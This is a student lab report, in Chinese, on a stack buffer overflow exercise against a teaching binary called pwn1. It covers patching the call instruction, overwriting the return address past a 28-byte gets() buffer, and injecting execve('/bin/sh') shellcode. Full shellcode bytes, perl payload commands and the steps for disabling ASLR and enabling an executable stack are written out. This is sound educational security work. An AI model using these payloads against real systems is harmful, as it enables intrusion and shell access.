1.实验内容
1.1 学习内容总结
1.1.1 初步了解缓冲区溢出漏洞
首先学习了安全漏洞的相关概念,然后聚焦在其中的缓冲区溢出漏洞上。学习了缓冲区溢出漏洞相关的定义和发生的原因,并了解了缓冲区溢出发展历史上的经典攻击,如红色代码蠕虫、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网、WannaCry等。
1.1.2 缓冲区溢出基础知识
- 编译器和连接器:gcc test.c –o test
- 调试器:类Unix平台上经常使用GDB
- 汇编语言:寄存器(ebp、eip等),汇编指令(RET、CALL等)
- 堆:程序动态分配的数据和变量
- 栈:环境变量/参数和个数以及主函数和调用栈中函数的临时保存信息
- 函数调用过程和反汇编
1.2 实验任务
利用一个名为pwn1的linux可执行文件,其执行流程为main调用foo函数,foo函数简单回显用户输入的字符串。该程序同时包含另一个代码片段getShell,会返回一个可用Shell,正常情况下这个代码不会被运行。实验目标为,学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
2.实验过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 下载pwn1,复制到文件夹20222420为文件pwn20222420。
- 发现pwn20222420不是可执行文件,通过chmod命令将其改为可执行文件。
- 验证pwn20222420文件运行情况,运行情况正常。
- 利用“objdump -d pwn20222420 | more”命令反汇编pwn20222420文件,查看main函数调用foo函数的指令。
分析:e8 d7 ff ff ff中,e8代表跳转,ff ff ff d7(小端存储)是-41的补码。执行80484b5处的指令时,EIP的值是下条指令的地址(即80484ba),但执行完80484b5处的指令后,CPU会转而执行 “EIP + ffffffd7”这个位置的指令,即执行foo函数(80484ba+ffffffd7=8048491)。
- 想要改变程序执行流程,直接跳转到getShell函数,只需要修改d7 ff ff ff为“getShell函数地址-EIP”即可,即修改为c3 ff ff ff(0804847d-080484ba=ffff fffc3)。
- 下面利用vi命令查看pwn20222420文件,用:%!xxd将显示模式切换为16进制模式,用/e8 d7命令查找对应位置,然后按i进入编辑,将其中对应的d7改为c3。最后按esc退出编辑,输入:%!xxd -r转换16进制为原格式,输入:wq以保存并退出查看。
- 再次反汇编pwn20222420文件,查看相应位置是否被修改成功。可知已经修改成功。
- 最后运行修改后的pwn20222420文件,会得到shell提示符$,并且可以正常执行命令。
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 将pwn1复制到文件夹20222420为文件pwntwo20222420,并将其设置为可执行文件
- 反汇编,查看foo函数中的Buffer overflow漏洞
分析1:804849d地址处的指令代表计算从(%ebp)(即基指针地址)向下偏移0x1c(即十进制的28)的地址,并将这个地址加载到累加器%eax中,这个地址是预留给字符串输入的缓冲区。
分析2:804849d地址处的指令代表调用gets函数,从标准输入读取字符串到之前计算的缓冲区地址。由于gets不检查缓冲区大小,如果输入字符串超过28字节(包括空终止符),将导致缓冲区溢出。
分析3:返回地址之下为%ebp(占4B,因32位程序),%ebp之下为预留给字符串输入的缓冲区。可以推知只要输入32字节,再之后就会溢出到返回地址及以后的空间,但这只是一般情况,还需要验证。
- 确认是否的确是输入32字节后再输入就会溢出到返回地址及以后的空间。使用gdb调试。
输入gdb pwntwo20222420来使用gdb调试该文件,然后输入r来运行文件,再输入555555555555555555555555555566664321来测试32B(一个数字占1B存储空间)后的4321是否出现在返回地址。
分析:从图中可以看到%eip指令寄存器指向的下一条指令的地址为0x31323334,即小端存储的4321。且%ebp确实被6666所填充。可知结果证明了上述“分析3”中的推知。
- 确认用什么值来覆盖返回地址。使用objdump -d pwntwo20222420 | more命令查看getShell函数的地址。
分析:可知getShell函数的地址为0804847d,同时从上面的实验可知存储模式为小端存储(低位字节存在低位地址),故构造的值应为\x7d\x84\x04\x08。输入pwntwo20222420文件的字符应为32个任意字符和\x7d\x84\x04\x08,其后还可以加上\x0a,不然输入字符串后还需手动敲击回车。
- 但\x7d\x84\x04\x08无法从键盘键入。这时有两种方式,一种是使用Perl来生成一个字符串并将其输出到一个文件(我命名为input)中,然后用cat命令读这个文件并将输出通过管道(|)输入到pwntwo20222420文件;另一种是跳过input文件这一中间环节,直接通过管道(|)输入到pwntwo20222420文件。以下为两种方式的实验结果,可知均成功。
2.3 注入一个自己制作的shellcode并运行这段shellcode
- 准备一段Shellcode,这段机器指令的目的是为获取一个交互式的shell。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 - 修改安全设置。
- 设置堆栈可执行,并查询设置情况。
- 关闭地址随机化,并查询设置情况。需要通过sudo su -命令转换到root用户才能设置。
- 设置堆栈可执行,并查询设置情况。
- 构造要注入的payload。结构使用anything+retaddr+nops+shellcode,其中retaddr应为注入的shellcode的地址用于替换返回地址,nop为空指令(0x90)。
- 初始构造为AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+4321+\x90\x90\x90\x90+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
- 寻找注入的shellcode的地址
- 使用
perl -e 'print "A" x 32;print "\x34\x33\x32\x31\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode,并将其中内容通过管道输入到pwntwo20222420文件中运行。注意此时不能输入回车。
- 打开另一个终端,用ps -ef | grep pwntwo20222420命令查看进程号,然后输入gdb命令,再输入attach 11112将gdb附加在前面查看的进程号上。
- 在第二个终端中使用disassemble foo,反汇编foo来查看ret指令的地址,以便在此设置断点。
- 在第二个终端中ret指令的地址处设置断点。断在这里,因为这时注入的东西都在堆栈上了。
- 在第一个终端中输入回车。然后在第二个终端中输入c,表示继续。然后输入info r esp,查看esp的地址,以便在此附近寻找注入的shellcode的地址。
- 输入x/16x 0xffffcdec,以十六进制检查该处内存。此时可以找到注入的shellcode并计算出其地址为0xffffcdf4。
- 使用
- 此时就知道了要注入的payload应构造为
"A" x 32 + "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" - 构造文件的命令为
perl -e 'print "A" x 32;print "\xf4\xcd\xff\xff\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode2
- 最后进行验证。
3.问题及解决方案
- 问题1:运行pwn20222420文件时报错,显示permission denied,我以为需要用sudo,但还是不行。
问题1解决方案:我想到可能文件不可执行,用ls -l查看确实如此,用chmod将其设置为可执行文件便解决了问题。 - 问题2:第一个实践内容,用/e8d7查找不到要修改的内容。
问题2解决方案:反复尝试后我想到可能中间需要空格,因为查看时字节间有空格,虽然我认为实际存储中是没有空格的。尝试了/e 8d7不行,然后/e8 d7便能找到了。 - 问题3:设置堆栈可执行时显示错误,原因是没有execstack命令。apt-get也搜索不到该程序。
问题3解决方案:CSDN中查询,可以在网上下载并安装。为了方便没有用浏览器,具体使用了wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb和sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令行。 - 问题4:关闭地址随机化时权限不够,用sudo也不行。
问题4解决方案:询问AI后明白必须root用户才能关闭。但是我从一开始就并没有设置过root用户。不过我还是尝试转换到root,因为可能不需要密码。我用su -显示错误,于是改用了sudo su -,这次直接转换为了root用户,在这个用户下我就成功关闭了地址随机化。 - 问题5:不明白任务3中最后构造input_shellcode时用的字符串最后的\x90\x00\xd3\xff\xff\x00有什么用。
问题5解决方案:经过深入分析,发现没什么用。这是是博主之前使用nop+shellcode+retaddr结构未成功,更改结构后未删除而遗留下来的,\x90是为了凑够前面的32B,\x00\xd3\xff\xff是shellcode地址,但这都是使用nop+shellcode+retaddr结构时使用的内容了。直接删除即可。
4.学习感悟、思考等
通过这次实验,我不仅加深了对计算机安全漏洞的理解,还通过实践掌握了多种攻击与防护的技术手段。尽管整个实验过程布满了重重困难与挑战,但我深信,通过深入细致地分析问题、逐一攻克那些直接影响实验进程的难题,以及审慎探究那些虽不直接阻碍实验却仍存疑的点,而非仅仅依赖于刻板重复的实验指南,我获得了极为宝贵的成长与收获。
在实验过程中,我学习了编译器、调试器、汇编语言以及堆和栈的基础知识,这些知识对于理解缓冲区溢出漏洞的原理和攻击方式至关重要。通过动手实践,我亲手操作了如何修改可执行文件来改变程序执行流程,如何利用缓冲区溢出漏洞构造攻击输入字符串,以及如何注入和运行自定义的Shellcode。我感觉通过这些实践我对原本并不熟悉的堆、汇编语言、调试器gdb熟悉了很多,并能够运用这些知识。
在实验中,我也遇到了不少问题,比如文件权限问题、查找和修改特定内容时的困难、缺少必要工具的问题等,在遇到未知的问题时我显得比较着急和焦虑。但是,通过不断尝试和寻求帮助,我最终都成功地解决了这些问题。这些经历让我更加明白,在遇到问题时,不要轻易放弃,要多思考、多尝试,要学会保持冷静和耐心,同时也可以借助外部资源来寻求帮助。
这次实验中我认为我对这次实验的理解已经很深入了,有疑惑的点我自己基本都解决了。比如为什么是32个字节后便溢出到返回地址(设置的缓冲区28B+ebp4B=32B),nop是什么(空指令\x90,往后滑),一个字符串存储后显示出来为什么这么奇怪(栈向低地址生长,小端存储),ret有什么用(返回主程序),为什么用print而非printf(perl是脚本语言),disassemble是什么(反汇编),more /proc/sys/kernel/randomize_va_space是什么、为什么显示0或2(显示地址空间随机化情况,0表禁用,1表启用,2表完全启用)等等。正是因为我对实验内容有一定的理解,我在做时才能够有一定自己的想法,和实验指导的步骤有略微的差别。